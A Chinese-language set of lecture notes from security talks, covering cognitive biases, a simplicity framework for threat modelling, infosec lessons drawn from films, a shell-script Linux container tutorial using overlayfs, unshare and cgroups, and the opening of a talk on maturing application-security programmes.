当我们的思维捷径被过度使用,成为默认路径时,它们就从有用的启发法变成了“认知偏差”。认知偏差被定义为“源于依赖判断启发法而产生的系统性思维错误”。简单来说,它是我们主观构建的现实(而非客观输入)支配了我们在世界中的行为,可能导致知觉扭曲、判断不准确和不合逻辑。

目前已经识别出大约186种认知偏差,它们被分为几大类:信息过载、意义不足、需要快速行动以及需要记忆。

常见的认知偏差实例

以下是几个常见的认知偏差例子:

  • 频率错觉:当你注意到某个新事物(比如刚买的车)后,你会突然发现它无处不在。这是因为你的大脑被“启动”去关注它。
  • 空想性错视:在随机图案中看到面孔,比如火星上的“人脸”。我们倾向于看到面孔,因为这是我们识别和互动的主要方式。
  • 自行车棚效应:当面对一个复杂项目时,人们倾向于对其中最容易理解但最不重要的部分进行无休止的讨论。
  • 邓宁-克鲁格效应:能力较低的人会高估自己的技能水平;而能力较高的人则会低估自己的相对能力。

乐观主义的危险

乐观主义是人类的天性,但它可能成为职业危害,尤其是在编程和安全领域。我们常常高估自己快速完成项目或解决复杂问题的能力。

一个深刻的个人故事说明了邓宁-克鲁格效应的危险性:一位医生过度自信于自己操作设备的能力,差点导致误诊,因为他认为自己“不会犯错”,就像许多人认为顶级测试飞行员“不会犯错”一样。

现实世界的教训:维珍银河2号事故

维珍银河2号太空船的首次载人太空飞行以悲剧告终,因为一个关键的“羽毛”解锁机制在错误的速度下被解除。调查发现,工程师们没有设置防止误操作的物理锁,因为他们认为经验丰富的测试飞行员“不会犯这种错误”。这正是一种“天真乐观主义”——愿望思维,而非基于现实的判断。

技术领域的乐观陷阱

在技术领域,乐观主义同样普遍:

  • “我能自己构建”综合征:倾向于自己编写代码,而不是使用成熟的现成解决方案(与“宜家效应”相关——对自己建造的东西评价更高)。
  • 低估项目时间:告诉项目经理“两周就能完成”,实际却花了六个月。
  • 忽视安全漏洞:认为“这永远不会发生在我们身上”,从而推迟修复关键的安全问题。

如何平衡乐观主义:成为现实主义者

我们不需要变得悲观,但可以努力成为现实主义者。这意味着在保持“可能做到”的信念的同时,冷静地审视挑战。以下是一些方法:

  1. 构建还是购买? 在开始一个项目前,诚实地评估构建成本(包括长期的维护成本)与购买成熟解决方案的成本。
  2. 寻求外部视角:使用“橡皮鸭调试法”或向不懂你领域的人解释问题。同行代码审查和拉取请求至关重要,但要注意审查大量代码时容易遗漏问题。
  3. 使用路径与控制机制:通过图表理清攻击路径和防御控制点,帮助自己和他人理解系统面临的风险及防护措施。
  4. 应用风险矩阵:对风险进行优先级排序。基于可能性和影响来决定先修复什么,而不是试图修复一切。
  5. 勇于质疑现状:不要因为“一直如此”就接受有问题的代码或流程。要有勇气提出:“这真的需要修复吗?”

总结

本节课我们一起学习了人类决策中的心理学机制。我们了解到,大脑使用的“启发法”在效率与风险之间徘徊,过度依赖则会形成“认知偏差”。通过“邓宁-克鲁格效应”、“自行车棚效应”等例子,我们看到了过度乐观如何在医疗、航空安全和软件开发中导致严重后果。关键在于,我们不能放弃乐观——它是创新的动力——但必须用现实主义来调和它。通过质疑假设、寻求外部反馈、进行成本效益分析和风险评估,我们可以做出更明智、更安全的决策。记住,目标不是成为一个悲观主义者,而是成为一个脚踏实地的现实主义者。

006:通过简化科学改进威胁建模

在本节课中,我们将学习如何利用“简化”的科学原理来改进威胁建模流程,使其更易于采用和扩展。我们将探讨一个由化学家George M. Whitesides提出的简化框架,并将其应用于威胁建模的实践。

概述:为什么需要简化威胁建模?

威胁建模是识别和解决系统设计安全问题的有效方法。然而,它通常是一个手动过程,难以大规模推广。一个安全冠军计划可以帮助解决推广的物流问题,但活动本身也必须足够“好”,即易于执行且能提供价值。

在我看来,让威胁建模更易于采用的一个方法是尽可能保持其简单性。但“简单”究竟意味着什么?本次演讲将探讨如何利用简化来使威胁建模成为一种更多人愿意反复进行的活动。

什么是“简单”?🤔

“简单”并非一个容易定义的概念。我们可以从不同角度看待它:

  • 构造简单:例如,意大利肉酱面是初学者容易学习的菜肴。
  • 目的简单:例如,一本书的目的是传递信息。
  • 功能简单:例如,触摸屏平板电脑,儿童也能轻松使用。

然而,上下文至关重要。以杯子为例:

  • 对谁简单?并非所有人都能使用杯子。
  • 何时简单?在风平浪静时简单,在波涛汹涌的船上则不简单。
  • 在何种条件下简单?在失重环境下,杯子无法正常工作。

因此,没有脱离上下文的“简单”定义。但我们的化学家朋友指出,简单的事物通常共享一些特性。

简单的四个特性 🧱

George M. Whitesides提出了简单事物通常具备的四个特性:

  1. 廉价:简单事物的成本不应很高。
  2. 有价值:简单事物必须具有功能,且其功能价值应与成本相匹配。
  3. 可靠且可预测:简单系统应该是可靠和可预测的。
  4. 可组合:简单事物应能作为构建块,易于重新组合以构建其他事物。

为了将其转化为可用的框架,我将“可组合的建筑块”重新表述为更符合技术领域的“可组合性”。

接下来,我们将逐一解构这些特性,探讨如何理解和应用它们来评估或优化某个事物(如流程、工具)的简单性。

特性一:廉价 💰

“廉价”意味着成本低。在优化时,我们可以设法减少时间、资源、人力、精力、知识或培训需求。

然而,事物不能无限便宜。成本过低可能会损害其有效性价值,这就引出了下一个特性。

特性二:有价值 🎯

有价值意味着事物必须有用。评估价值可以从以下几个角度考虑:

  • 有用性:必须结合上下文来理解。对谁有用?在何时何地有用?为何有用?有多大用处?
  • 便利性:事物在更多地点、时间、为更多人、以更多样化的方式和目的可用,则价值更高。
  • 多样性:通过提供不同成本点的多样选择来满足不同受众。例如,乐高提供不同价位和复杂度的千年隼模型,以适应不同消费者的需求和预算。

特性三:可靠且可预测 ✅

我将这两个特性视为一组,关乎可用性和采用障碍

  • 可预测:意味着符合所有受众的期望,没有意外,行为一致。
  • 可靠:意味着在给定各种输入下都能工作,并能赢得用户的信任。

一个经典的例子是某清漆的广告语:“它完全按照罐子上说的做”,这直接传达了可预测、可靠和可信赖的信息。

在框架中,除了可靠和可预测,还应考虑其他影响采用的因素,例如持续时间——简单的事物不应花费过长时间来运行。

特性四:可组合性 🔗

可组合性意味着一个流程或工具的输出可以轻松地作为其他事物的输入。当某物简单时,人们会以意想不到的方式使用它。

技术中有很多例子:

  • Linux grep命令和管道操作符被用来解决填字游戏比赛。
  • 有人在《我的世界》里构建了一个可运行的《Pong》游戏。
  • 开源库和API构成了一个巨大的“可组合性”资源库。

评估可组合性可能比较困难,但可以观察某物是否被设计成易于将其输出作为其他输入的格式。

将简化框架应用于威胁建模 🛡️

以上我们探讨了通用的简化框架。现在,让我们将其应用于威胁建模这个具体场景。我们的目标是:利用这个框架最小化成本、最大化价值,使威胁建模更简单,从而提升采用率。

我们将结合框架的每个特性,为威胁建模设定具体目标。

目标一:尽可能简单(对应“廉价”)

我们希望威胁建模的输入成本尽可能低。需要思考威胁建模给团队带来的成本,并设法最小化:

  • 人力成本:能否与更初级的成员合作?何时进行对团队影响最小?
  • 时间成本:流程能否与团队的工作方式(如单次会议、一个冲刺周期)对齐?
  • 知识成本
    • 流程知识:理解流程本身所需的成本。
    • 背景与培训知识:熟悉文档、安全术语、工具的成本。
    • 技术知识:创建图表、了解系统细节和数据流的成本。
    • 安全知识:理解需要保护什么以及现有安全控制措施的成本。

关键在于理解参与人员的具体工作方式,使流程尽可能贴合他们,从而降低成本。

目标二:交付相关且可操作的威胁(对应“有价值”)

威胁建模必须擅长发现相关且可操作的威胁。

  • 聚焦业务重点:流程必须聚焦于发现对业务重要的东西(如知识产权、数据完整性、可用性、信任)。
  • 选择安全模型:选择要关注的安全属性(如STRIDE、MITRE ATT&CK)。选择的安全属性越多,威胁建模的成本就越高。
  • 简化安全模型减少考虑的安全属性数量是降低威胁建模成本的最有效方法之一。但需要在成本降低和价值损失之间找到平衡。

目标三:消除采用障碍(对应“可靠/可预测”)

我们的威胁建模流程需要做到“名副其实”,满足期望,值得信赖。

  • 可靠
    • 技术无关:适用于所有技术栈。
    • 高质量分析:适用于业务的任何部分。
    • 可重复:相同输入产生相似输出。
    • 令利益相关者满意:输出能满足各方需求。
  • 可预测
    • 时机恰当:不太早(威胁太泛泛)也不太晚(改造成本太高)。
    • 范围明确:覆盖该覆盖的,不越界。
    • 信息一致、完整、正确
    • 符合公司标准(如文档规范)。
    • 威胁数量可控,避免信息过载。
    • 输出格式统一,便于规划和比较。

一个显得专业、周到、可信赖的流程,更有可能被团队采纳。

目标四:成为基础性活动(对应“可组合性”)

我们希望威胁建模的输出能与其他流程结合,使其成为安全生态系统的基石。

  • 组合视图:能否组合多个威胁模型以获得系统整体的安全视图?
  • 赋能其他安全流程:输出能否用于指导安全测试、渗透测试?
  • 支持治理:能否用于跟踪企业范围内的威胁和风险覆盖情况?
  • 满足审计要求:输出能否格式化为外部审计或合作伙伴要求的规范?
  • 生成度量指标:能否基于威胁和控制数据生成威胁评分或度量指标?

虽然让威胁建模数据变得有用可能需要额外工作(尤其是当数据是非结构化的自由文本时),但优化输出的可组合性,能使威胁建模成为一个持续相关、被广泛采用的基础活动。

框架实践:评估常见威胁建模方法 ⚖️

理论足够多了,这个框架在实践中是否有用?我发现它能够清晰地解释或评估其他常见威胁建模方法的优缺点。

以下是使用该框架对两种常见方法的简要评估:

1. 头脑风暴法

  • 优点:能产生新颖的威胁。
  • 缺点(从框架看)不可重复,不同次会话可能产生不同的威胁集,这使得它不可预测/不可靠,难以满足“简单且可扩展”的标准。
  • 结论:并非不能使用,在时间紧迫、只需一次性评估或有强力人员承诺的情况下是很好的选择。但难以在全公司范围内扩展

2. 微软威胁建模工具

  • 优点:较多。
  • 缺点(从框架看)
    • 成本:让人们上手使用、理解图表和安全术语(如STRIDE)的成本较高。
    • 价值输出噪音大,产生过多威胁,降低了信号噪音比,从而降低了价值。
  • 结论:是开始威胁建模之旅的好地方。但庞大的威胁输出量使其难以作为大规模推广威胁建模的首选工具。

案例研究:ThreatWare的设计决策 🛠️

基于对现有方法的不满,我创建了自己的威胁建模方法ThreatWare。许多设计决策是在了解这个简化框架之前做出的,但两者高度吻合,这反过来验证了框架的实用性。

以下是我的一些设计决策如何与框架特性对齐:

围绕“廉价/尽可能简单”的设计决策:

  • 使用常见工具:用Google Docs或Confluence创建模型,无需学习新工具。
  • 放宽图表要求:只需相关或大致准确的图表,不强求特定格式,降低维护成本。
  • 简化安全术语:只要求理解保密性、完整性、认证和授权,并用简单术语(读/写访问)解释。
  • 聚焦设计问题:安全模型仅用于发现设计问题。
  • 聚焦威胁而非风险:只收集判断威胁是否存在所需的信息,降低信息收集成本。
  • 鼓励小型化:鼓励多个小型威胁模型,而非少数大型复杂模型。
  • 使用模板和共享:从模板开始,鼓励团队间复制高质量模型内容,加速进程。
  • 提供详细文档:支持团队自助服务,降低对安全专家的依赖。
  • 关注系统知识而非安全知识:只需提供系统如何工作的信息,由流程推导出威胁。

围绕“有价值/交付相关威胁”的设计决策:

  • 聚焦访问控制:仅关注与访问控制相关的少数设计问题,确保威胁始终相关且数量可控。
  • 聚合表达威胁:允许以聚合方式表达威胁,避免因组件和数据排列组合导致的威胁数量爆炸。
  • 工具辅助查漏:利用文档结构检测缺失的排列组合,确保威胁未被遗漏。
  • 引入审批机制:确保被复制的内容是高质量的。

围绕“可靠可预测/消除障碍”的设计决策:

  • 遵循康威定律:按团队边界划分威胁模型范围,确保产生的威胁是该团队可控的。
  • 使用结构化文档:确保每个威胁模型的数据捕获方式和位置一致,使团队明确知道该做什么以及“好”的标准。
  • 提供验证工具:编写工具来解析和验证威胁模型文档,确保内容一致、有效,团队可自助验证。
  • 与现有流程集成:将后续行动链接到团队的现有工单系统,使团队能以熟悉的方式消费威胁和修复建议。

围绕“可组合性/成为基础活动”的设计决策:

  • 可组合的范围:配置确保每个组件只属于一个威胁模型,使得一组威胁模型可以互补地组合起来分析更大系统的安全性。
  • 输出包含元数据:输出中包含组件、资产、安全控制等元数据,可供其他安全活动使用。
  • 机器可读输出:工具将文档转换为YAML/JSON等机器可读格式。
  • 版本控制:将批准的威胁模型版本存储在Git仓库中,便于访问历史和进行版本控制。

ThreatWare的局限性:

  • 对难以分解的巨大单体系统效果较差。
  • 对尚未建立通用模型、只想威胁建模特定功能的情况效果较弱。
  • 文档格式意味着实时格式控制需依赖工具验证。
  • 故意简化了安全模型,可能无法发现所有新颖威胁(需安全团队额外介入)。

简化评估:关键问题清单 ❓

最后,本着本次演讲的精神,我留下一组更简单的问题,供你评估自己或他人的威胁建模方法:

  • 廉价/尽可能简单
    • 如何最小化人们需要了解的安全知识?
    • 如何最小化他们需要提供的信息?
  • 有价值/交付相关威胁
    • 你发现的威胁是否对相关人员有价值?
    • 如何改变流程以提供更多价值?
    • (有争议但实用的观点) 在成本与价值之间权衡时,我通常倾向于以牺牲部分价值为代价来最小化成本。一个被人们实际使用的威胁建模流程,其价值永远高于一个根本没人用的流程。
  • 可靠可预测/消除障碍
    • 如果同一威胁模型做两次,会得到相似的结果吗?(这能告诉你方法的可预测性和可靠性)
    • 威胁模型的输出能否轻松集成到团队现有流程中?(这表明你是否在为团队提供便利)
  • 可组合性/成为基础活动
    • 能否将你的威胁模型组合起来,以获得系统安全的更大视图?
    • 威胁建模的输出能否很好地输入到其他安全活动中?

总结 🎓

简单性是扩展(几乎)任何事物的关键。但实现简单性本身是困难的。它通常不是从简单开始,而是从一个复杂事物开始,通过不断剥离、优化,最终得到一个在合适成本点上提供价值、且高度可用的东西。

当然,所有这些决策和工作都离不开对你所处上下文的深刻理解。在威胁建模的上下文中,如果我们能这样解读并应用这四个特性,就有望得到一个更具可扩展性、更易于访问且最终更成功的威胁建模流程。

本节课中,我们一起学习了:

  1. “简单”的多维度含义及其对上下文的高度依赖。
  2. 由George M. Whitesides提出的简单事物的四个特性:廉价、有价值、可靠可预测、可组合。
  3. 如何将这些特性转化为一个评估和优化威胁建模流程的实用框架。
  4. 如何将该框架应用于评估常见威胁建模方法(如头脑风暴法、微软威胁建模工具)。
  5. 通过ThreatWare的案例,了解了如何依据框架特性做出具体的设计决策。
  6. 获得了一套用于评估自身威胁建模流程的简化问题清单。

希望本教程能帮助你思考如何让你的威胁建模实践变得更简单、更有效。

008:电影能教给我们什么信息安全知识

在本节课中,我们将通过分析几部经典电影中的情节,探讨其中涉及的信息安全概念与现实世界的联系。我们将学习员工欺诈、漏洞报告、密码安全、社会工程学、物理安全、DDoS攻击以及内部威胁等核心主题,并了解如何在实际工作中应用这些安全知识。

员工欺诈与内部威胁

上一节我们介绍了课程概述,本节中我们来看看电影《偷天换日》(Hot Millions)中展示的员工欺诈行为。影片主角通过伪造身份入职公司,并利用系统漏洞进行欺诈。

以下是关于员工欺诈的关键事实与防范措施:

  • 普遍性:大多数公司都曾遭遇某种形式的员工欺诈,但通常因不愿公开而很少被报道。
  • 主要动机:通常是员工陷入财务困境等绝望境地,而非单纯的贪婪。
  • 常见形式:最常见的是账单欺诈和直接盗窃现金,通常发生在普通员工层面,而非管理层。
  • 性别比例:约72%的欺诈行为由男性实施。
  • 成本估算:据估计,欺诈每年消耗公司约5%的营收。
  • 防范措施
    • 了解员工:关注员工状态,及时发现财务压力等危险信号。
    • 适度监督:建立监督机制,表明公司关注流程。
    • 文件追踪:确保操作有迹可循,便于审计。
    • 严格审查:警惕虚假员工,特别是在远程雇佣场景下。

漏洞报告的重要性

在《偷天换日》中,一个关键的“蓝灯”安全设备因物理设计缺陷(敲击特定位置即可关闭)而被清洁工意外发现并利用。这引出了漏洞报告的话题。

有效的漏洞报告机制应包含以下要点:

  • 易于报告:提供明确的联系渠道,例如 security@yourcompany.com
  • 严肃对待:必须认真处理收到的报告,否则报告来源将很快枯竭。
  • 提供奖励:可以通过漏洞赏金计划提供金钱奖励,或通过公开致谢等方式给予荣誉激励。

密码安全基础

电影《蝙蝠侠与罗宾》中,芭芭拉仅通过猜测(“Peg”是“Margaret”的昵称)就破解了装有蝙蝠侠所有秘密的盒子密码。这凸显了弱密码的危险性。

以下是提升密码安全的核心措施:

  • 使用独立用户账户:避免单一密码访问所有资源,以便追踪操作者身份。
  • 高熵值密码:创建包含大小写字母、数字和特殊字符的长密码。
  • 检查常见密码:在用户设置密码时,与常见密码列表比对并阻止使用。
  • 尝试次数限制:实施登录尝试次数限制,即使加入短暂延迟也能显著增加破解难度。
  • 多因素认证:结合密码与手机验证码、硬件密钥等其他因素。
  • 使用密码管理器:鼓励使用密码管理器生成和存储复杂密码。
  • 安全存储密码:在服务器端仅存储加盐的密码哈希值,而非明文密码。加盐哈希的伪代码表示如下:
    import hashlib
    import os
    
    def hash_password(password):
        salt = os.urandom(32) # 生成随机盐值
        key = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), salt, 100000)
        return salt + key # 存储盐值和密钥
    
    def verify_password(stored_password, provided_password):
        salt = stored_password[:32] # 提取盐值
        stored_key = stored_password[32:]
        new_key = hashlib.pbkdf2_hmac('sha256', provided_password.encode('utf-8'), salt, 100000)
        return new_key == stored_key
    
  • 考虑替代方案:评估使用生物识别、智能卡、一次性密码等非传统密码认证方式。

电影《黑客》(Hackers)中也讽刺了使用“love”、“secret”、“god”等常见密码的行为。现实中,全球最常用的密码是 123456

社会工程学攻击

在《黑客》中,主角通过电话伪装成技术支持人员,从保安那里套取了路由器信息。这是一种典型的社会工程学攻击。

社会工程学的主要形式包括:

  • 网络钓鱼:通过伪造的邮件、链接诱骗受害者。
  • 诱饵攻击:故意遗留载有恶意软件的USB设备等,诱使他人使用。
  • ** pretexting(借口欺骗)**:冒充他人身份(如同事、IT支持)以获取信息或访问权限。
  • 鱼叉式网络钓鱼:针对特定目标进行深入研究后,发起高度个性化的钓鱼攻击。

网络钓鱼已成为比恶意软件更普遍的威胁,据统计其发生频率是后者的75倍。防范社会工程学攻击的方法包括:

  • 员工培训:提高员工对各类社会工程学手法的认识和警惕性。
  • 最小权限原则:只授予员工完成工作所必需的系统权限。
  • 独立的管理账户:将日常使用账户与高权限管理账户分离。
  • 标准化流程:严格执行安全流程,例如所有权限变更必须通过工单系统并由上级审批。
  • 模拟测试:通过进行模拟钓鱼演练等方式检验和提升员工的防御能力。

电影《冰雪奇缘》中汉斯王子对安娜公主的欺骗,以及现实中利用AI伪造名人形象进行的“杀猪盘”诈骗,都是 pretexting 的深刻例证。

物理安全与信息收集

《黑客》中的角色通过翻找垃圾桶、伪装成工作人员在办公室安装嗅探设备、观察他人输入密码等方式收集信息。这说明了物理安全的重要性。

保障物理安全的措施包括:

  • 物理访问控制:防止未经授权的人员接触办公设备,因为直接物理访问往往能轻易绕过许多软件防护。
  • 文件分级标记:根据信息敏感度对文件进行明确标记(如“公开”、“内部”、“机密”)。
  • 安全处置:对含敏感信息的废弃物进行粉碎或使用专业销毁服务。
  • 佩戴身份标识:要求员工和访客佩戴身份标识,但同时要意识到仅靠标识并不完全可靠。
  • 员工培训:培训员工敢于质疑陌生人或异常情况。
  • 多因素认证:在物理访问点(如门禁)也采用多因素认证。
  • 限制访客活动范围:访客应在接待区等候,不应随意进入办公区。
  • 访客登记:对访客进行登记,必要时拍照留存记录。

分布式拒绝服务攻击

在《黑客》的高潮部分,黑客们联合发起了一场对公司的“黑客大战”,用各种病毒攻击对方系统。这类似于今天的分布式拒绝服务攻击。

DDoS攻击通过控制大量设备(常为不安全的物联网设备)同时向目标发送海量请求,使其服务瘫痪。攻击规模不断刷新纪录,最新的记录达到了每秒3.15太比特。

缓解DDoS攻击的策略包括:

  • 等待攻击停止:对于由“脚本小子”发起的短期攻击,有时等待其自行停止是可行的。
  • 支付赎金:虽然不鼓励,但有些公司会选择支付赎金以快速恢复服务(攻击者常以此勒索)。
  • 分布式网络托管:将服务部署在全球多个节点,分散攻击流量。
  • 流量清洗与IP黑名单:通过上游服务提供商清洗恶意流量,或屏蔽攻击源IP(但对海量分布式IP效果有限)。
  • 使用抗DDoS托管服务:付费使用专业的DDoS防护服务。
  • 推动物联网安全法规:从根本上解决需要制定并执行物联网设备的最低安全标准,防止其被轻易劫持成为“肉鸡”。

内部威胁与开发文化

电影《侏罗纪公园》中的程序员丹尼斯·奈德里因不满和财务问题,故意在系统中植入后门并关闭安全围栏,导致灾难发生。这揭示了糟糕的开发文化和单一开发者依赖带来的巨大风险。

防范此类内部威胁的方法包括:

  • 培养健康的开发文化:杜绝像奈德里那样拒绝批评、以自我为中心、将个人凌驾于代码之上的有毒文化。鼓励代码审查和团队协作。
  • 避免“独狼”开发:至少安排两名或以上开发者共同负责关键系统,互相监督,降低植入恶意代码的风险和诱惑。
  • 制定灾难恢复计划:提前规划系统故障时的应对措施。
  • 明确故障策略:对于关键系统(如 containment system),必须预先决定故障时是“失效开放”还是“失效关闭”。关着恐龙的围栏,故障时理应“失效关闭”。

安全通过隐匿的谬误

电影《网络惊魂》(The Net)中,反派将能入侵任何系统的“后门”代码隐藏在一个网站角落的图标里,认为无人能发现。这体现了“安全通过隐匿”思想的严重缺陷。

依赖“隐匿”作为安全手段是危险的,因为秘密一旦被发现(通常很快),就毫无安全性可言。此外,在将代码交给第三方测试时,必须谨慎区分核心敏感代码和可公开测试的代码。

总结与核心建议

本节课中我们一起学习了如何从电影情节中提炼信息安全教训。回顾所有内容,我们可以总结出两个最核心的要点:

  1. 善待你的员工:员工既是公司最大的资产,也是最大的安全漏洞来源。关注他们的困难,提供帮助和培训。良好的员工关系能以最低成本预防许多内部风险,可能避免数百万的损失。
  2. 安全是相对的:大多数攻击者并非天才,而是使用现成工具的“脚本小子”。你的安全措施不需要完美无缺,只需要比你的“邻居”更牢固。就像自行车防盗,你的锁不必坚不可摧,只要比旁边车的锁更难开就行。

信息安全是一个持续的过程,需要结合技术、流程和人员管理。希望本课程提供的视角和简单措施,能帮助你在日常工作中构建更有效的安全防线。

009:用不到100行Shell脚本实现Linux容器

在本教程中,我们将学习如何使用不到100行的Shell脚本,从零开始构建一个功能类似于Docker的简易Linux容器。我们将深入理解容器背后的核心技术,包括命名空间、联合文件系统和控制组,并通过实践脚本一步步实现容器的创建与启动。

概述:容器是什么?

容器是一种轻量级的虚拟化技术,它通过Linux内核提供的命名空间和控制组等功能,为进程组创建一个独立的运行环境,使其拥有独立的文件系统、网络、进程ID等资源视图,从而实现与宿主机及其他容器的隔离。

第一节:构建容器根文件系统

一个容器需要一个独立的根文件系统。为了高效利用资源,我们通常使用联合文件系统来构建它。

联合文件系统简介

联合文件系统允许我们将多个目录“堆叠”起来,提供一个合并后的视图。底层通常是只读的公共层,顶层是一个可写的差异层,这样每个容器都可以共享公共文件,同时拥有自己私有的修改。

现代容器工具如Docker使用overlayfs来实现这一点。以下是一个mount命令示例,展示了如何创建overlayfs挂载:

mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged

在这个命令中:

  • lowerdir:指定一个或多个只读的底层目录,用冒号分隔。列表中的第一个目录位于堆栈顶部。
  • upperdir:指定一个可写的上层目录,用于存放所有修改。
  • workdir:指定一个工作目录,overlayfs内部使用它来准备文件,该目录必须与upperdir位于同一文件系统。
  • merged:指定合并视图的挂载点。

在合并视图中,文件的可见性遵循“从上到下”的规则:上层目录的文件会覆盖下层目录的同名文件。还可以通过创建“白底”文件来“删除”下层文件,使其在合并视图中不可见。

创建基础文件系统层

我们将编写一个Shell脚本来创建所有容器共享的只读底层文件系统。以下是该脚本的核心步骤:

  1. 创建目标目录并进入。
  2. 创建标准的根文件系统目录结构,如/bin/dev/etc等。
  3. busybox二进制文件复制到/bin目录。busybox是一个集成了数百个常用命令的单一静态链接二进制文件,非常适合构建轻量级容器。
  4. 使用busybox --install命令在/bin目录下创建指向busybox的符号链接,这样我们就拥有了lsrm等常用命令。

通过以上步骤,我们就得到了一个最小化的、可用的容器根文件系统基础层。

第二节:实现容器隔离 - 命名空间

容器的核心是隔离。Linux命名空间技术为进程组提供了独立的系统资源视图。

命名空间类型

我们需要为容器创建以下几种关键的命名空间:

  • PID命名空间:隔离进程ID。这使得容器内可以有自己独立的PID 1(init进程),用于接管孤儿进程。
  • Mount命名空间:隔离文件系统挂载点。容器可以看到自己独立的目录树和挂载的文件系统。
  • UTS命名空间:隔离主机名和域名。每个容器可以有自己的主机名。
  • Network命名空间:隔离网络设备、IP地址、端口、路由表等。这是容器进行网络通信的基础。
  • User命名空间:隔离用户和组ID。这是实现“容器内root,容器外非root”权限模型的关键。

使用 unshare 命令创建命名空间

在Shell层面,我们使用unshare命令来创建新的命名空间并运行程序。例如,以下命令创建一个新的PID命名空间,并在其中启动一个Shell:

unshare --pid --fork sh -c 'echo My PID is $$'

在这个新的Shell中,$$(当前Shell的PID)将会是1,因为它成为了新PID命名空间中的第一个进程。

容器内的超级用户权限

User命名空间与Linux能力机制共同作用,实现了容器内的特权。当创建一个新的User命名空间时,内核会赋予该空间内的第一个进程所有的能力。因此,这个进程在容器内拥有类似root的超级权限,但在宿主机上,它仍然映射为一个普通的非特权用户(如UID 1000)。这种映射关系通过/proc/[pid]/uid_map/proc/[pid]/gid_map文件来定义。

第三节:资源限制与管理 - 控制组

为了防止容器消耗过多资源而影响宿主机或其他容器,我们需要使用控制组来限制资源。

Cgroups 简介

Cgroups是一个Linux内核特性,用于对进程组进行资源限制、优先级分配和资源计量。其接口通过一个虚拟文件系统暴露。

创建一个cgroup非常简单,只需在cgroup文件系统(通常挂载在/sys/fs/cgroup)下创建一个目录即可。资源限制通过向该目录下的特定文件(如cpu.maxmemory.max)写入配置值来实现。要将一个进程加入某个cgroup,只需将其PID写入该cgroup目录下的cgroup.procs文件。

为非特权用户配置Cgroups

默认情况下,cgroup文件由root用户所有。为了让非特权用户运行的容器也能管理自己的cgroup,我们需要进行“委托”。这包括:

  1. 将我们创建的cgroup目录的所有权更改为该非特权用户。
  2. 根据cgroup.subtree_controlcgroup.controllers文件的内容,更改cgroup目录内特定控制文件的所有权。

这样,容器内的进程(即使以宿主机上的非特权用户运行)就可以在自己的cgroup子树内设置资源限制了。

第四节:启动容器脚本

现在,我们将所有步骤整合到一个启动脚本中。这个脚本负责:

  1. 为overlayfs创建必要的目录(upper, work, merged)。
  2. 执行overlayfs挂载命令。
  3. 如果指定了cgroup,则创建并配置cgroup,并将当前脚本进程加入其中。
  4. 使用exec命令和env程序设置容器内的环境变量(如HOMEPATHHOSTNAME)。
  5. 最关键的一步:使用unshare命令一次性创建所有需要的命名空间(user, pid, mount, uts, ipc, network, cgroup),并映射root用户,最后在子进程中启动busybox sh作为容器的第一个进程(PID 1)。

第五节:容器内部初始化

容器启动后,还需要在内部进行一些初始化工作。我们通过设置$ENV环境变量,让新启动的Shell自动执行一个初始化脚本。

使用 pivot_root 切换根文件系统

容器继承了宿主机的挂载信息。我们需要将overlayfs的合并视图(merged目录)设置为容器新的根文件系统,并移除旧的根视图。这通过pivot_root系统调用完成。其核心步骤是:

  1. 确保新的根目录是一个挂载点(如果不是,则使用bind挂载自身)。
  2. 将当前mount命名空间的挂载传播设置为private,防止挂载事件泄露到宿主机。
  3. 执行pivot_root命令,将新的根挂载移动到/,并将旧的根挂载移动到新根下的一个目录(如/oldroot)。
  4. 卸载并移除/oldroot

挂载必要的虚拟文件系统

在新的根文件系统下,我们需要挂载一些必要的虚拟文件系统,以提供标准的环境:

  • /proc:进程信息文件系统。
  • /sys:系统设备和内核信息文件系统。
  • /dev:设备文件。我们可以通过bind挂载,从旧的根文件系统的/dev目录中挂载/dev/null/dev/zero/dev/random等基础设备文件到新容器的/dev目录下。
  • /tmp:临时文件系统(可选,可使用tmpfs)。

最后,根据环境变量设置容器的主机名。至此,一个功能基本完整的容器环境就准备就绪了。

总结

在本教程中,我们一起学习了如何用简单的Shell脚本构建一个Linux容器。我们探讨了其三大核心技术支柱:

  1. 联合文件系统:用于高效构建和管理容器的根文件系统。
  2. 命名空间:提供了进程、网络、文件系统、用户等资源的隔离,是容器独立性的基础。
  3. 控制组:用于限制和计量容器的资源使用,保证系统的稳定性。

通过动手实践创建文件系统层、编写启动和初始化脚本,我们不仅实现了一个可运行的简易容器,更重要的是深入理解了现代容器技术背后的原理。虽然这个自制容器在功能上不如Docker或Podman完善(例如缺少安全沙箱seccomp的自动配置),但它清晰地揭示了容器技术的本质。

010:如何成熟你的应用安全项目

在本节课中,我们将学习如何评估和提升你的应用安全项目。我们将探讨三种常见的、但效果不佳的安全模型,分析它们失败的原因,并提供从零预算到充足预算的实用改进方案。目标是帮助你构建一个更有效、更高效且团队更满意的应用安全计划。

识别三种常见的安全模型

上一节我们介绍了课程概述,本节中我们来看看三种在实践中常见但效果不佳的应用安全模型。了解这些模型有助于你识别自己团队可能存在的问题。

模型一:仅对重要应用进行渗透测试

这种模型非常普遍,尤其是在资源有限的团队中。其核心做法是:每年仅对少数几个被视为“关键”或“高曝光度”的应用进行一次渗透测试,修复发现的高危漏洞,然后对其他大量应用的安全状况置之不理,直到下一年的测试周期。

这种模型通常伴随着以下特征:

  • 没有统一的系统开发生命周期:各个开发团队使用不同的技术栈(如 Java, Ruby, Node.js)和开发方法(如敏捷、瀑布模型),导致安全实践难以统一。
  • 代码仓库分散:代码存储在不同的平台(如 GitHub, Azure DevOps, GitLab),甚至有的团队使用陈旧的版本控制系统,增加了集中管理和自动化扫描的难度。

为什么这个模型效果不佳?主要问题在于缺乏知识转移。你花费重金聘请外部专家进行一次性的测试,但你的开发团队没有从中学习到如何避免同样的错误。没有配套的安全工具和流程支持,开发团队在下一次开发中很可能重复相同的安全漏洞。这就像每年请医生治疗一次重病,却不学习如何保持日常健康。

模型二:堆砌工具,但缺乏整合

这是目前最常见的一种模型。团队购买了大量的安全工具(如静态应用安全测试、动态应用安全测试、软件成分分析等),并试图将它们集成到开发流程中。

这种模型通常表现为:

  • 工具部分部署:为大量开发者购买了许可证,但实际使用率极低(例如,仅9%的开发者会打开使用)。
  • 报告泛滥但修复率低:各种工具生成大量漏洞报告,通过邮件分发给开发者,但真正被修复的问题寥寥无几。
